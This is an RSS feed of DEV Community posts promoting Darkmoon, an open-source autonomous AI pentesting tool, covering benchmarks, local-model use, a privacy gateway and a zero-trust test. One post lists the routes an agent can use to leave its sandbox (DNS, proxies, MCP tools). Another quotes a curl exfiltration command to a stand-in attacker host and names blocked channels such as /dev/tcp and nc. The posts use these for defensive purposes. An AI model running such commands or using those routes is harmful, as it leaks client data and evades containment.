<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Mehdi BOUTAYEB</title>
    <description>The latest articles on DEV Community by Mehdi BOUTAYEB (@darkmoonx).</description>
    <link>https://dev.to/darkmoonx</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3990946%2F256a9ee8-3deb-4a74-99db-5f09f595eeb5.png</url>
      <title>DEV Community: Mehdi BOUTAYEB</title>
      <link>https://dev.to/darkmoonx</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/darkmoonx"/>
    <language>en</language>
    <item>
      <title>Your AI pentester is probably exfiltrating your client's data. Run it air-gapped instead.</title>
      <dc:creator>Mehdi BOUTAYEB</dc:creator>
      <pubDate>Sun, 02 Aug 2026 13:36:41 +0000</pubDate>
      <link>https://dev.to/darkmoonx/your-ai-pentester-is-probably-exfiltrating-your-clients-data-run-it-air-gapped-instead-3a5l</link>
      <guid>https://dev.to/darkmoonx/your-ai-pentester-is-probably-exfiltrating-your-clients-data-run-it-air-gapped-instead-3a5l</guid>
      <description>&lt;p&gt;&lt;em&gt;Disclosure: I build Darkmoon, one of the tools that does this locally. But the problem is real no matter which tool you pick.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The uncomfortable default
&lt;/h2&gt;

&lt;p&gt;Most autonomous AI pentesters call a hosted cloud LLM. To do their job they feed that model your targets: IPs, hostnames, request and response bodies, sometimes credentials and source. That is your client's data leaving your control, mid-engagement, to a third party. For a regulated environment it is a breach waiting to happen. For a pentest firm it is a contract violation.&lt;/p&gt;

&lt;h2&gt;
  
  
  "We have a DPA" is not the same as "the data never left"
&lt;/h2&gt;

&lt;p&gt;A data processing agreement is paperwork. Air-gapped is physics. If the bytes never leave the machine, there is nothing to leak, subpoena, or misconfigure.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to actually run local
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Local inference: Ollama or llama.cpp on your own hardware. The model runs where the data is.&lt;/li&gt;
&lt;li&gt;A privacy gateway: even if a step must call a remote service, tokenize sensitive values with deterministic placeholders first, then rehydrate locally. The remote side never sees real values.&lt;/li&gt;
&lt;li&gt;Self-hosted everything: no vendor cloud in the loop.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Does local actually work?
&lt;/h2&gt;

&lt;p&gt;Yes: 57 real vulnerabilities on OWASP Juice Shop in 28 minutes, black-box, on a local model, reproducible: &lt;a href="https://github.com/ASCIT31/Darkmoon-Benchmarks" rel="noopener noreferrer"&gt;https://github.com/ASCIT31/Darkmoon-Benchmarks&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Darkmoon is open source and built this way: &lt;a href="https://github.com/ASCIT31/Dark-Moon" rel="noopener noreferrer"&gt;https://github.com/ASCIT31/Dark-Moon&lt;/a&gt; . If you run pentests for clients, "where does the model run" belongs at the top of your tooling checklist.&lt;/p&gt;

</description>
      <category>security</category>
      <category>privacy</category>
      <category>ai</category>
      <category>opensource</category>
    </item>
    <item>
      <title>6 open-source AI pentesters, one OWASP Juice Shop, ranked (reproducible)</title>
      <dc:creator>Mehdi BOUTAYEB</dc:creator>
      <pubDate>Sun, 02 Aug 2026 13:35:44 +0000</pubDate>
      <link>https://dev.to/darkmoonx/6-open-source-ai-pentesters-one-owasp-juice-shop-ranked-reproducible-4cp2</link>
      <guid>https://dev.to/darkmoonx/6-open-source-ai-pentesters-one-owasp-juice-shop-ranked-reproducible-4cp2</guid>
      <description>&lt;p&gt;&lt;em&gt;Disclosure: Darkmoon is my project. But this is a reproducible benchmark, not a ranking I get to fudge. Run it yourself.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The question
&lt;/h2&gt;

&lt;p&gt;Every AI pentester ships a headline number under different conditions. So I fixed the conditions: same public lab (OWASP Juice Shop, default docker image), black-box, method published.&lt;/p&gt;

&lt;h2&gt;
  
  
  The result so far
&lt;/h2&gt;

&lt;p&gt;Darkmoon, black-box, on a local LLM: &lt;strong&gt;57 findings&lt;/strong&gt; (8 critical, 24 high, 21 medium, 4 low) in 28.5 minutes, proof of exploitation per finding. It compounds across runs: 14, 28, 38, 44, 49, 57.&lt;/p&gt;

&lt;p&gt;The other tools (strix, shannon, PentAGI, PentestGPT, CAI) sit on a "run pending" row. That is the honest part: I am not going to invent their numbers. It is a community leaderboard, run your favorite tool against the same image and send a PR.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why black-box on a public lab
&lt;/h2&gt;

&lt;p&gt;Because it is the only setup anyone can verify. White-box numbers on a self-cleaned validation set are impressive but not comparable. A public image plus a documented method is falsifiable, which is the whole point of a benchmark.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reproduce or contest
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;docker run -p 3000:3000 bkimminich/juice-shop&lt;/code&gt;, then run the tool. Full method and raw output: &lt;a href="https://github.com/ASCIT31/Darkmoon-Benchmarks" rel="noopener noreferrer"&gt;https://github.com/ASCIT31/Darkmoon-Benchmarks&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If your tool beats 57 black-box on Juice Shop, I want that PR. If it does not, that is useful data too.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>opensource</category>
      <category>pentesting</category>
    </item>
    <item>
      <title>I let an autonomous AI agent try to escape its sandbox. Here is what still reached the internet.</title>
      <dc:creator>Mehdi BOUTAYEB</dc:creator>
      <pubDate>Sun, 02 Aug 2026 13:35:41 +0000</pubDate>
      <link>https://dev.to/darkmoonx/i-let-an-autonomous-ai-agent-try-to-escape-its-sandbox-here-is-what-still-reached-the-internet-3aga</link>
      <guid>https://dev.to/darkmoonx/i-let-an-autonomous-ai-agent-try-to-escape-its-sandbox-here-is-what-still-reached-the-internet-3aga</guid>
      <description>&lt;p&gt;&lt;em&gt;Disclosure: I build Darkmoon, an autonomous AI pentester. This post is about a failure mode every team shipping agents should test: an agent you think is contained still finding a way out.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The premise
&lt;/h2&gt;

&lt;p&gt;You give an AI agent tools. You deny it direct internet. You feel safe. You should not.&lt;/p&gt;

&lt;h2&gt;
  
  
  What still gets out
&lt;/h2&gt;

&lt;p&gt;Even with no direct egress, an agent can reach the internet through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;DNS. A tool that resolves a hostname just exfiltrated data one lookup at a time.&lt;/li&gt;
&lt;li&gt;A "helpful" proxy, or a package manager the agent is allowed to call.&lt;/li&gt;
&lt;li&gt;An MCP tool that itself has network access the agent inherits.&lt;/li&gt;
&lt;li&gt;Telemetry or error endpoints baked into a dependency.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why this matters for AI pentesters specifically
&lt;/h2&gt;

&lt;p&gt;An offensive agent handles the most sensitive data you have: target IPs, hostnames, credentials, findings. If that agent quietly calls a cloud LLM, all of it leaves your environment before you notice. The sandbox was never the boundary. The model endpoint was.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix we landed on
&lt;/h2&gt;

&lt;p&gt;Two layers:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Run the model locally (Ollama or llama.cpp). No prompt and no target data ever leaves the machine.&lt;/li&gt;
&lt;li&gt;For anything that must touch a remote service, tokenize sensitive values first with deterministic placeholders, then rehydrate locally. The remote side sees stable fake values, never the real ones.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Test it yourself
&lt;/h2&gt;

&lt;p&gt;Make it release-blocking: assert that your agent, with "no internet", truly cannot resolve or reach an external host during a run. Most teams have never run that assertion. It fails more often than you would like.&lt;/p&gt;

&lt;p&gt;Darkmoon is open source (GPL-3.0) and built around this local-first model: &lt;a href="https://github.com/ASCIT31/Dark-Moon" rel="noopener noreferrer"&gt;https://github.com/ASCIT31/Dark-Moon&lt;/a&gt; . How does your agent stack hold up to the egress test?&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>devops</category>
      <category>opensource</category>
    </item>
    <item>
      <title>I pointed an autonomous AI attacker at a zero-trust demo (OpenNHP). 51 findings on the exposed side, zero on the protected side.</title>
      <dc:creator>Mehdi BOUTAYEB</dc:creator>
      <pubDate>Sun, 02 Aug 2026 13:08:28 +0000</pubDate>
      <link>https://dev.to/darkmoonx/i-pointed-an-autonomous-ai-attacker-at-a-zero-trust-demo-opennhp-51-findings-on-the-exposed-2flp</link>
      <guid>https://dev.to/darkmoonx/i-pointed-an-autonomous-ai-attacker-at-a-zero-trust-demo-opennhp-51-findings-on-the-exposed-2flp</guid>
      <description>&lt;p&gt;&lt;em&gt;Disclosure: I work on Darkmoon, the autonomous AI pentester used here. But this post is really about the defense, because the interesting result is what the attacker could NOT do. Everything is reproducible against the same public demo.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The test
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/OpenNHP/opennhp" rel="noopener noreferrer"&gt;OpenNHP&lt;/a&gt; is an open-source zero-trust tool that uses Single Packet Authorization: services stay &lt;strong&gt;undiscoverable&lt;/strong&gt; unless you present valid credentials first. No discovery, no attack surface.&lt;/p&gt;

&lt;p&gt;So I did the fair version of the test: point a fully autonomous AI attacker at OpenNHP's public demo, non-destructive, and let it do whatever it wanted. The demo has two planes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;NHP-protected hosts&lt;/strong&gt; (server2, access controller)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Intentionally exposed components&lt;/strong&gt; (a public auth plugin and helper hosts)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The numbers
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Exposed surface, 51 findings:&lt;/strong&gt; 4 high, 10 medium, 17 low, 20 informational. On the exposed side the agent behaved like any capable attacker: it enumerated, chained, and reported. Normal.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Protected plane: zero findings.&lt;/strong&gt; Not zero &lt;em&gt;exploitable&lt;/em&gt; findings. &lt;strong&gt;Zero of anything.&lt;/strong&gt; The autonomous attacker could not even establish that a target existed.&lt;/p&gt;

&lt;p&gt;Every discovery method timed out with no response:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;curl&lt;/code&gt; over HTTP/HTTPS gave exit code 28 (timeout)&lt;/li&gt;
&lt;li&gt;targeted &lt;code&gt;naabu&lt;/code&gt; scans on 22 / 80 / 443 / 8080 found nothing&lt;/li&gt;
&lt;li&gt;raw TCP connect probes found nothing&lt;/li&gt;
&lt;li&gt;ICMP found nothing&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why this is the interesting part
&lt;/h2&gt;

&lt;p&gt;An autonomous agent is only as good as its first step: &lt;strong&gt;discovery&lt;/strong&gt;. If it cannot find the target, the entire kill chain never begins. Recon, exploitation, lateral movement, all moot. OpenNHP moves the security boundary &lt;em&gt;before&lt;/em&gt; discovery.&lt;/p&gt;

&lt;p&gt;The decisive detail: on the exposed side, an agent private key was served publicly in &lt;code&gt;config.json&lt;/code&gt;. &lt;strong&gt;That key was the whole game.&lt;/strong&gt; Without it, the protected host cannot be discovered or attacked at all. With it, you are inside the trust boundary. It is a clean illustration that in a zero-trust design, the credential &lt;em&gt;is&lt;/em&gt; the attack surface, not the port.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaway for builders
&lt;/h2&gt;

&lt;p&gt;Most of the AI-pentest conversation is about making attackers smarter. This test is the mirror image: a smart autonomous attacker is trivially defeated by a target it cannot see. If you run internet-facing services, "reduce discoverability" belongs above "patch faster" on the list.&lt;/p&gt;

&lt;p&gt;Credit to the OpenNHP project. The result validates their design, not ours.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Darkmoon (the tool) is open source here: &lt;a href="https://github.com/ASCIT31/Dark-Moon" rel="noopener noreferrer"&gt;https://github.com/ASCIT31/Dark-Moon&lt;/a&gt;. But honestly, go read how OpenNHP works first.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>zerotrust</category>
      <category>ai</category>
      <category>opensource</category>
    </item>
    <item>
      <title>I ran an autonomous AI pentester on OWASP Juice Shop, on a LOCAL model. 57 real vulns in 28 min.</title>
      <dc:creator>Mehdi BOUTAYEB</dc:creator>
      <pubDate>Sun, 02 Aug 2026 13:04:54 +0000</pubDate>
      <link>https://dev.to/darkmoonx/i-ran-an-autonomous-ai-pentester-on-owasp-juice-shop-on-a-local-model-57-real-vulns-in-28-min-13n</link>
      <guid>https://dev.to/darkmoonx/i-ran-an-autonomous-ai-pentester-on-owasp-juice-shop-on-a-local-model-57-real-vulns-in-28-min-13n</guid>
      <description>&lt;p&gt;&lt;em&gt;Full disclosure up front: I work on Darkmoon, one of the tools below. I have tried to keep this a fair teardown, not an ad. Every number is reproducible.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;I wanted one honest answer: point an autonomous AI pentester at a target it has never seen, black-box, like a real engagement. What does it actually find? Target: &lt;strong&gt;OWASP Juice Shop&lt;/strong&gt;, the standard public vulnerable app (&lt;code&gt;docker run -p 3000:3000 bkimminich/juice-shop&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;The twist I care about: most AI pentesters ship your traffic and code to a cloud LLM. For anything near production or a client environment, that is a non-starter. So the real question is not just "does it find bugs". It is "does it find bugs &lt;em&gt;without exfiltrating your data&lt;/em&gt;".&lt;/p&gt;

&lt;h2&gt;
  
  
  What happened
&lt;/h2&gt;

&lt;p&gt;Running black-box against Juice Shop on a &lt;strong&gt;local model&lt;/strong&gt; (Ollama/llama.cpp), Darkmoon returned:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Vulnerabilities&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;57&lt;/strong&gt; (8 critical, 24 high, 21 medium, 4 low)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Time&lt;/td&gt;
&lt;td&gt;28.5 min&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Proof-of-exploitation&lt;/td&gt;
&lt;td&gt;per finding&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data sent to a third party&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;none&lt;/strong&gt; (local model)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;And it compounds across runs on the same target: 14, then 28, 38, 44, 49, then &lt;strong&gt;57&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Raw output and methodology so you can reproduce (or contest) it: &lt;strong&gt;&lt;a href="https://github.com/ASCIT31/Darkmoon-Benchmarks" rel="noopener noreferrer"&gt;https://github.com/ASCIT31/Darkmoon-Benchmarks&lt;/a&gt;&lt;/strong&gt;. PRs with other tools' runs are welcome, this is meant to be a community leaderboard.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why "local" is the whole point
&lt;/h2&gt;

&lt;p&gt;The impressive numbers you see elsewhere (for example white-box benchmarks in the 90s%) are real but come with conditions: they read your source and call a cloud model. That is a different trade-off. A local, black-box run is the one you can actually run against a sensitive target without a data-egress conversation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Honest limitations
&lt;/h2&gt;

&lt;p&gt;One lab is a starting point, not the whole story. Black-box favors breadth; white-box tools optimize a different axis. Numbers move as tools improve, which is exactly why the benchmark repo is a living, reproducible thing rather than a screenshot.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;git clone https://github.com/ASCIT31/Dark-Moon &amp;amp;&amp;amp; cd Dark-Moon &amp;amp;&amp;amp; ./install.sh&lt;/code&gt;. GPL-3.0, self-hosted, runs on a local or cloud LLM. If it saves you a manual pass, a star helps other defenders find it.&lt;/p&gt;

&lt;p&gt;What black-box results do &lt;em&gt;you&lt;/em&gt; get on Juice Shop? Drop them in the comments or send a PR to the benchmark.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>opensource</category>
      <category>machinelearning</category>
    </item>
    <item>
      <title>Open source autonomous AI pentesting tools in 2026: an honest field guide</title>
      <dc:creator>Mehdi BOUTAYEB</dc:creator>
      <pubDate>Mon, 13 Jul 2026 11:58:07 +0000</pubDate>
      <link>https://dev.to/darkmoonx/open-source-autonomous-ai-pentesting-tools-in-2026-an-honest-field-guide-3ad0</link>
      <guid>https://dev.to/darkmoonx/open-source-autonomous-ai-pentesting-tools-in-2026-an-honest-field-guide-3ad0</guid>
      <description>&lt;p&gt;If you have looked for an open source, autonomous AI penetration testing tool in the last year, you have probably noticed the space went from empty to crowded very fast. Here is an honest field guide to the open source options in 2026, what each one is actually good at, and how to pick. No hype, no "this one wins," just the trade offs.&lt;/p&gt;

&lt;h2&gt;
  
  
  What "autonomous AI pentest" means here
&lt;/h2&gt;

&lt;p&gt;A tool that takes a target, reasons about it with a language model, and actually runs offensive tools against it (not just suggests commands), then reports findings. The interesting axes to compare are: &lt;strong&gt;license&lt;/strong&gt;, &lt;strong&gt;scope&lt;/strong&gt; (web only vs web plus Active Directory, Kubernetes, cloud), whether it can run on a &lt;strong&gt;local model&lt;/strong&gt; (data sovereignty), and whether findings come with &lt;strong&gt;proof of exploitation&lt;/strong&gt; or just a model's opinion.&lt;/p&gt;

&lt;h2&gt;
  
  
  The open source landscape
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PentestGPT&lt;/strong&gt; (github.com/GreyDGL/PentestGPT) — the one that started the wave. An interactive assistant that guides you through a pentest with an LLM. Great for learning and CTF style work; you stay in the loop and run things yourself.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;hackingBuddyGPT&lt;/strong&gt; (github.com/ipa-lab/hackingBuddyGPT) — academic, focused and honest. Good if you want to study how far a small model gets on privilege escalation, with published numbers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Strix&lt;/strong&gt; (github.com/usestrix/strix) — autonomous agents for web app testing, Apache 2.0, active and polished.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PentAGI&lt;/strong&gt; (github.com/vxcontrol/pentagi) — an autonomous framework with an orchestrator and a memory graph, container based.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CAI, Cybersecurity AI&lt;/strong&gt; (github.com/aliasrobotics/cai) — a framework for building autonomous security testing agents, from Alias Robotics, with its own benchmark work.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Darkmoon&lt;/strong&gt; (github.com/ASCIT31/Dark-Moon) — GPL-3.0 platform and MCP host with per technology offensive sub agents (GraphQL, Spring, .NET, Node, PHP, Ruby, WordPress) plus Active Directory and Kubernetes, an evidence trail on every finding, and a local 14B model option. Its distinguishing piece is a Privacy Gateway (below).&lt;/li&gt;
&lt;li&gt;Worth knowing but not open source: &lt;strong&gt;XBOW&lt;/strong&gt; (topped a HackerOne leaderboard, closed), and the commercial validation vendors &lt;strong&gt;NodeZero / Horizon3&lt;/strong&gt; and &lt;strong&gt;Pentera&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How to actually choose
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Do you need more than web?&lt;/strong&gt; Most of these focus on web app testing. If your reality includes Active Directory and Kubernetes, that narrows the field fast.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Can you send target data to a hosted model?&lt;/strong&gt; For a lot of teams the answer is no. Then you want a tool that runs on a local model, or one that never sends real sensitive values to the model at all.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Do you trust a finding without proof?&lt;/strong&gt; An LLM saying "this looks like SQLi" is not the same as a tool that executed the payload and kept the evidence. Prefer proof of exploitation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;License matters&lt;/strong&gt; if you plan to self host, modify, and audit. GPL and Apache are not the same commitment.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The data sovereignty problem, and one answer
&lt;/h2&gt;

&lt;p&gt;The blocker nobody advertises: the moment an autonomous agent sends real IPs, hostnames, credentials or internal paths to a hosted model, sensitive facts about your infrastructure leave your perimeter. For regulated and defense teams that alone kills the approach.&lt;/p&gt;

&lt;p&gt;Darkmoon's Privacy Gateway is one concrete answer, and its core is open source. The model only ever sees deterministic placeholders (IP_PRIVATE_001, HOST_INTERNAL_001, EMAIL_001). The real values are reinjected locally just before a tool runs, then masked again before anything returns to the model, and any exfiltration attempt is blocked. We validated it end to end on OWASP Juice Shop with the gateway active the whole run: 56 vulnerabilities found while the model never saw a single real IP. If you are building agentic security tooling, the pattern generalizes: keep the reasoning on a capable model, keep the secrets on your side.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bottom line
&lt;/h2&gt;

&lt;p&gt;The honest summary: PentestGPT and hackingBuddyGPT are where you learn, Strix and PentAGI and CAI are strong autonomous web frameworks, and if your constraints are Active Directory plus Kubernetes plus strict data privacy, look at Darkmoon. All of these are open source, so the best move is to clone the two or three that fit your reality and run them against a lab.&lt;/p&gt;

&lt;p&gt;Repos again: PentestGPT github.com/GreyDGL/PentestGPT, Strix github.com/usestrix/strix, PentAGI github.com/vxcontrol/pentagi, CAI github.com/aliasrobotics/cai, hackingBuddyGPT github.com/ipa-lab/hackingBuddyGPT, Darkmoon github.com/ASCIT31/Dark-Moon.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>opensource</category>
      <category>pentesting</category>
    </item>
    <item>
      <title>Let an AI pentest agent use a frontier model without leaking your network</title>
      <dc:creator>Mehdi BOUTAYEB</dc:creator>
      <pubDate>Fri, 10 Jul 2026 07:26:15 +0000</pubDate>
      <link>https://dev.to/darkmoonx/let-an-ai-pentest-agent-use-a-frontier-model-without-leaking-your-network-5f74</link>
      <guid>https://dev.to/darkmoonx/let-an-ai-pentest-agent-use-a-frontier-model-without-leaking-your-network-5f74</guid>
      <description>&lt;h2&gt;
  
  
  The blocker nobody talks about in AI pentesting
&lt;/h2&gt;

&lt;p&gt;Autonomous AI pentesting works by feeding a language model what it observes on a target (open ports, internal hostnames, error messages, credentials it recovers) and letting it decide the next move. That is also the problem. The moment you send real IPs, internal hostnames, emails, tokens or file paths to a hosted model, sensitive facts about your infrastructure leave your perimeter. For a lot of teams (regulated, defense, anyone with a data sovereignty requirement) that single fact kills the whole approach, no matter how capable the model is.&lt;/p&gt;

&lt;p&gt;We wanted the reasoning quality of a frontier model &lt;strong&gt;and&lt;/strong&gt; a guarantee that it never sees a real sensitive value. Here is how the Privacy Gateway we just shipped in Darkmoon (open source, GPL-3.0) does it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Deterministic placeholders, not redaction
&lt;/h2&gt;

&lt;p&gt;Redaction destroys information. A pentest agent needs to reason about relationships ("this host also exposed that email"), so blanking values out is not an option. Instead the &lt;strong&gt;PrivacyVault&lt;/strong&gt; tokenizes every sensitive value into a deterministic placeholder: &lt;code&gt;IP_PRIVATE_001&lt;/code&gt;, &lt;code&gt;HOST_INTERNAL_001&lt;/code&gt;, &lt;code&gt;EMAIL_001&lt;/code&gt;. Same value maps to the same placeholder within a session, so the model can still correlate, pivot and plan. What it never gets is the real value.&lt;/p&gt;

&lt;p&gt;The mapping is protected in memory: an HMAC fingerprint is used for deduplication and the value itself is stored Fernet encrypted. No raw value is retained in a form that can be logged. The scope is the session, with a TTL, and secrets are never restored into a command (the one exception being an explicit local report path).&lt;/p&gt;

&lt;h2&gt;
  
  
  Rehydrate locally, at the last possible moment
&lt;/h2&gt;

&lt;p&gt;The model emits a command or a structured tool call written entirely in placeholders. Just before execution, on your machine, the &lt;strong&gt;CommandGateway&lt;/strong&gt; rehydrates only the whitelisted fields. This is context aware, never a naive global find and replace, so nmap actually runs against the real address. The tool output is then sanitized in two passes and re-tokenized before any of it goes back to the model.&lt;/p&gt;

&lt;p&gt;A concrete pass:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The model sees &lt;code&gt;Host IP_PRIVATE_001 has ports 80,443 open&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;It emits &lt;code&gt;nmap -sV IP_PRIVATE_001 -p 80,443&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The gateway executes &lt;code&gt;nmap -sV 10.42.1.5 -p 80,443&lt;/code&gt; locally&lt;/li&gt;
&lt;li&gt;The output is re-masked before returning to the model&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The model never learns &lt;code&gt;10.42.1.5&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Blocking exfiltration
&lt;/h2&gt;

&lt;p&gt;A model that never sees a value still cannot be allowed to smuggle it out through a tool call. The gateway blocks the obvious channels: a placeholder landing in a URL query string, a literal external host, an echo or print of a secret, a POST body, &lt;code&gt;/dev/tcp&lt;/code&gt;, &lt;code&gt;nc&lt;/code&gt; or &lt;code&gt;telnet&lt;/code&gt; to a non target. So &lt;code&gt;curl https://attacker.tld/?target=IP_PRIVATE_001&lt;/code&gt; is refused rather than quietly rehydrated.&lt;/p&gt;

&lt;h2&gt;
  
  
  Does it actually hold up
&lt;/h2&gt;

&lt;p&gt;Two checks, stated honestly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Properties, not vibes.&lt;/strong&gt; 22 tests cover the 7 properties that matter: the model never sees the real IP, the mapping is deterministic, local execution is correct, stdout and stderr are sanitized, exfiltration is blocked, placeholders are not resolvable by the model, and secrets are never restored into a command. All 22 pass, and they run against the compiled production image (Nuitka, sources stripped, Fernet active), not just the source tree.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A real run.&lt;/strong&gt; End to end against OWASP Juice Shop with a frontier model, gateway active for the entire run: 56 vulnerabilities found (9 critical, 23 high, 17 medium, 7 low; 36 exploited), with &lt;code&gt;IP_PRIVATE_001&lt;/code&gt; and &lt;code&gt;EMAIL_001&lt;/code&gt; in every observation the model received. The privacy layer did not blunt the pentest.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is open, and why
&lt;/h2&gt;

&lt;p&gt;The core is open source: the reversible tokenization, the anti exfiltration gateway, and the in memory vault. The enterprise hardening (a vault sealed by the runtime guard, an audit trail of every rehydration, compliance proof, a config UI) is the Pro layer. Open sourcing the core is deliberate: if a tool claims your sensitive data never reaches the model, you should be able to read exactly how that claim is enforced.&lt;/p&gt;

&lt;p&gt;Repo: &lt;a href="https://github.com/ASCIT31/Dark-Moon" rel="noopener noreferrer"&gt;https://github.com/ASCIT31/Dark-Moon&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you are building agentic security tooling, the pattern generalizes beyond pentesting. You can keep the reasoning on a hosted model and keep the secrets on your side, as long as the tokenization is reversible and deterministic and the rehydration happens locally, behind a gateway that treats exfiltration as a first class threat.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>privacy</category>
      <category>opensource</category>
    </item>
    <item>
      <title>How to read AI pentest benchmark claims: XBEN, 96 percent scores, and what they hide</title>
      <dc:creator>Mehdi BOUTAYEB</dc:creator>
      <pubDate>Tue, 07 Jul 2026 20:30:42 +0000</pubDate>
      <link>https://dev.to/darkmoonx/how-to-read-ai-pentest-benchmark-claims-xben-96-percent-scores-and-what-they-hide-2epj</link>
      <guid>https://dev.to/darkmoonx/how-to-read-ai-pentest-benchmark-claims-xben-96-percent-scores-and-what-they-hide-2epj</guid>
      <description>&lt;p&gt;Several autonomous pentest tools now advertise scores around 96 percent on the XBOW XBEN benchmark. A percentage with no context is marketing, not evidence. Here is how to read those claims like a practitioner.&lt;/p&gt;

&lt;h2&gt;
  
  
  What XBEN actually is
&lt;/h2&gt;

&lt;p&gt;XBOW open sourced a set of 104 web challenges built around exploit validation rather than detection. That focus is healthy: proving exploitation is a much harder and more honest bar than flagging a potential issue. But a benchmark is only as meaningful as the conditions you run it under.&lt;/p&gt;

&lt;h2&gt;
  
  
  The variables that inflate a score
&lt;/h2&gt;

&lt;p&gt;Hint free or hinted? Single attempt or unlimited retries? What is the false positive rate behind the headline number? A tool that scores high with hints and retries is not comparable to one that scores lower hint free on the first try.&lt;/p&gt;

&lt;h2&gt;
  
  
  The controlled to the wild gap
&lt;/h2&gt;

&lt;p&gt;Recent research evaluating agents on real targets, not just labs, keeps finding the same thing: lab benchmarks overstate real capability. CTF style completion is not the same as validated discovery on a messy production system.&lt;/p&gt;

&lt;h2&gt;
  
  
  A transparency checklist
&lt;/h2&gt;

&lt;p&gt;Before you trust any autonomous pentest claim, ask for a reproducible run, the proof of exploit artifacts, the false positive rate, and whether it was hint free. If those are missing, the number is a slide, not a result.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;Reproducibility is the whole point. Run the benchmark yourself against whatever tool you are evaluating and compare honestly.&lt;/p&gt;

&lt;ul&gt;
